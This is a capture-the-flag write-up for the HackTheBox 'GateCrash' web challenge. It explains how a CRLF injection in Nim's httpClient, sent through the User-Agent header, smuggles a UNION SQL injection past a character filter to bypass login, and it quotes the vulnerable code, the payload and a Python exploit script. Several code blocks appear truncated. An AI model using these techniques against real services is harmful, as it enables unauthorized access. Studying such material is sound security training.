GateCrash Writeup

17 December 2023 #CTF #HTB #chall #web #easy #UniCTF2023

Challenge Description

An administrative portal for the campus parking area has been identified, bypassing it's authentication and gaining access to the gate control would allow us to unlock it and use staff vehicles for securing the campus premises way faster.

First Look

Web App with 2 component:

There is an obvious SQL Injection in the User API /login endpoint:

row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';")

Only 1 endpoint on the Control API as well:

post "/user":
    let username = @"username"
    let password = @"password"

    if containsSqlInjection(username) or containsSqlInjection(password):
      resp msgjson("Malicious input detected")

    let userAgent = decodeUrl(request.headers["user-agent"])

    let jsonData = %*{
      "username": username,
      "password": password

    let jsonStr = $jsonData

    let client = newHttpClient(userAgent)
    client.headers = newHttpHeaders({"Content-Type": "application/json"})

    let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr)

    if response.code != Http200:
      resp msgjson(response.body.strip())

    resp msgjson(readFile("/flag.txt"))

This endpoint will just take our POST request and forward it to the User API, along with the User-Agent header. If we successfully login, we get the flag. We can't exploit the SQLi directly because of the containsSqlInjection() function:

proc containsSqlInjection(input: string): bool =
  for c in input:
    let ordC = ord(c)
    if not ((ordC >= ord('a') and ordC <= ord('z')) or
            (ordC >= ord('A') and ordC <= ord('Z')) or
            (ordC >= ord('0') and ordC <= ord('9'))):
      return true
  return false

No way to bypass this filter...

In the challenge Dockerfile, we see Nim 1.2.4 is used:

# Install nim
RUN choosenim update 1.2.4

In this version, the httpClient in the standard library is vulnerable to a CR-LF injection


With this vulnerability, it is possible to inject an alternative POST body that will get used instead of the original one, thus bypassing the character blacklist.

To bypass auth with the SQLi, we can't just use ' OR 1=1-- - because it checks the password afterwards. We can use a UNION injection to return data we want: an ID (doesn't matter), a username (doesn't matter) and a password hash (this matters). The payload will look like this:

doesntexist' UNION SELECT 42, 'yep', '<password_hash>

This will turn the SQL query into:

SELECT * FROM users WHERE username='doesntexist' UNION SELECT 42, 'yep', '<password_hash>';

We assume that the username doesntexist doesn't exist, so the only thing returned will the the UNION SELECT.

The only thing left is to generate a bcrypt hash for a password of our choosing (in my case "asdf"):

package main

import (


func main() {
    hash, err := bcrypt.GenerateFromPassword([]byte("asdf"), bcrypt.DefaultCost)
    if err != nil {

    fmt.Println("hashed password:", string(hash))

There might be an easier way but I wanted to be as close as the application. To run it, docker exec in the challenge container and copy this file in /app/user_api, then go run it:

root@b13ac0852254:/app/user_api# go run bcrypt-asdf.go
hashed password: $2a$10$2VTknsppCsKjWOaUT0sSHeHB5.y0fj/ADxhD6ZRG5PjTeq4MKx0dm

Putting this together:

#!/usr/bin/env python3

import urllib.parse
import json
import requests

#url = "http://localhost:1337/user"
url = ""

payload = {
    "Username": "doesntexist' UNION SELECT 42, 'yep', '$2a$10$2VTknsppCsKjWOaUT0sSHeHB5.y0fj/ADxhD6ZRG5PjTeq4MKx0dm",
    "Password": "asdf"
payload_str = json.dumps(payload)

user_agent = f"""\
headers = {"User-Agent": urllib.parse.quote(user_agent)}

dummy_body = {"username": "doesntmatter", "password": "A" * len(payload_str)}
res =, data=dummy_body, headers=headers)

We have to include a specific User-Agent string because there is a whitelist in the User API:

var allowedUserAgents = []string{

flag: HTB{d0_th3_d45h_0n_th3_p4r53r}